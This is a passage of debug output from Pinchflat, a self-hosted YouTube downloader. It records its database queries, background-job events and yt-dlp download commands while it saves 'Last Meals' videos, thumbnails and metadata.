SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:52:33.188 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:52:33.188 [debug] QUERY OK source="media_items" db=0.4ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [53, 54] 21:52:33.188 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:52:33.188 [debug] QUERY OK source="media_items" db=0.6ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [53, 54] 21:52:33.189 [debug] QUERY OK source="media_items" db=0.2ms queue=0.2ms idle=0.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [54] 21:52:33.189 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [54] 21:52:33.189 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:52:33.190 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:33.190 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:33.190 [debug] Running yt-dlp command for action: get_downloadable_status 21:52:33.191 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:33.191 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:33.191 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:33.191 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GI9314kbYKw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5d/05/5d0552ca4f2680540a25c671ac445c7d610bf7d2dd67957f379923ce5be837fb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:52:36.299 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GI9314kbYKw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5d/05/5d0552ca4f2680540a25c671ac445c7d610bf7d2dd67957f379923ce5be837fb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:52:36.299 [debug] Running yt-dlp command for action: download 21:52:36.299 [debug] QUERY OK source="settings" db=0.1ms idle=1240.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:36.300 [debug] QUERY OK source="settings" db=0.0ms idle=1240.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:36.300 [debug] QUERY OK source="settings" db=0.0ms idle=1240.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:36.300 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GI9314kbYKw --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a6/61/a661599e4c87ecd91e59bbe8f45771bf5660af212c5b8efaa7a1a63e59a06ca3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:52:58.786 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.629 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:53:28.788 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:58.790 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.630 [info] {"source":"oban","duration":159,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:54:26.888 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CLcXgr1Lymw --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/fa/7f/fa7f69d58ef9445d00eab3d00e6a12f5e868c8d105e82f309442c5513ead7cf9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:54:26.899 [debug] Running yt-dlp command for action: download_thumbnail 21:54:26.899 [debug] QUERY OK source="settings" db=0.1ms idle=881.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:26.899 [debug] QUERY OK source="settings" db=0.0ms idle=840.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:26.899 [debug] QUERY OK source="settings" db=0.0ms idle=840.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:26.899 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CLcXgr1Lymw --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/53/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/40/8c/408c17ff5ed35dd57a078012b1dbeab1ac018138e9cd8fbd2ac1cb346a3fc68b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:54:28.790 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:29.440 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CLcXgr1Lymw --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/53/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/40/8c/408c17ff5ed35dd57a078012b1dbeab1ac018138e9cd8fbd2ac1cb346a3fc68b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:54:29.441 [debug] QUERY OK db=0.0ms idle=1381.5ms begin [] 21:54:29.441 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:54:26Z], "/downloads/Last Meals/2023-07-18 John Boyega Eats His Last Meal/John Boyega Eats His Last Meal [CLcXgr1Lymw].mp4", ~U[2026-03-28 01:54:29Z], 53] 21:54:29.442 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/53/metadata.json.gz", "/config/metadata/media_items/53/thumbnail.jpg", 53, ~U[2026-03-28 01:54:29Z], ~U[2026-03-28 01:54:29Z]] 21:54:29.442 [debug] QUERY OK db=0.1ms commit [] 21:54:29.456 [debug] QUERY OK source="media_items" db=4.3ms idle=1392.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [336864212, ~U[2026-03-28 01:54:29Z], 53] 21:54:29.456 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:54:29.457 [info] {"args":{"id":53},"id":56,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":121107210,"event":"job:stop","queue_time":3852349354,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:54:29.457 [debug] QUERY OK source="tasks" db=0.4ms idle=435.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:54:29.457 [debug] QUERY OK source="tasks" db=0.5ms idle=666.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:54:29.458 [debug] QUERY OK source="media_items" db=0.1ms idle=15.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [54] 21:54:29.458 [debug] QUERY OK source="media_items" db=0.2ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [54] 21:54:29.462 [info] {"args":{"id":55},"id":58,"meta":{},"system_time":1774662869462805294,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:54:29.463 [debug] QUERY OK source="media_items" db=0.6ms idle=5.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [55] 21:54:29.463 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:54:29.464 [debug] QUERY OK source="tasks" db=0.9ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:54:29.464 [debug] QUERY OK source="tasks" db=0.9ms idle=4.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:54:29.464 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:54:29.464 [debug] QUERY OK source="media_profiles" db=0.6ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:54:29.464 [debug] QUERY OK source="media_items" db=0.7ms idle=1.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [54, 55] 21:54:29.464 [debug] QUERY OK source="media_items" db=0.7ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [54, 55] 21:54:29.465 [debug] QUERY OK source="media_items" db=0.1ms queue=0.2ms idle=1.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [55] 21:54:29.465 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [55] 21:54:29.466 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:54:29.466 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:29.466 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:29.466 [debug] Running yt-dlp command for action: get_downloadable_status 21:54:29.466 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:29.466 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:29.466 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:29.467 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZgLs4fDr8aI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/75/51/7551baba325cfb225148a78c7f32228ef2bf59d015624179b3bb48f7f5f22196.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:54:30.486 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GI9314kbYKw --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a6/61/a661599e4c87ecd91e59bbe8f45771bf5660af212c5b8efaa7a1a63e59a06ca3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:54:30.498 [debug] Running yt-dlp command for action: download_thumbnail 21:54:30.498 [debug] QUERY OK source="settings" db=0.0ms idle=1032.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:30.498 [debug] QUERY OK source="settings" db=0.0ms idle=1032.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:30.499 [debug] QUERY OK source="settings" db=0.0ms idle=1032.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", 